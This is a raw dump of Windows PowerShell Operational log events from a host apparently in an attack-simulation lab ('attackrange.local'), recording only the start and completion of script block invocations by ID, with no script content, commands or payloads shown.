SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031665
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031660
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031659
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031637
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031635
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031634
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
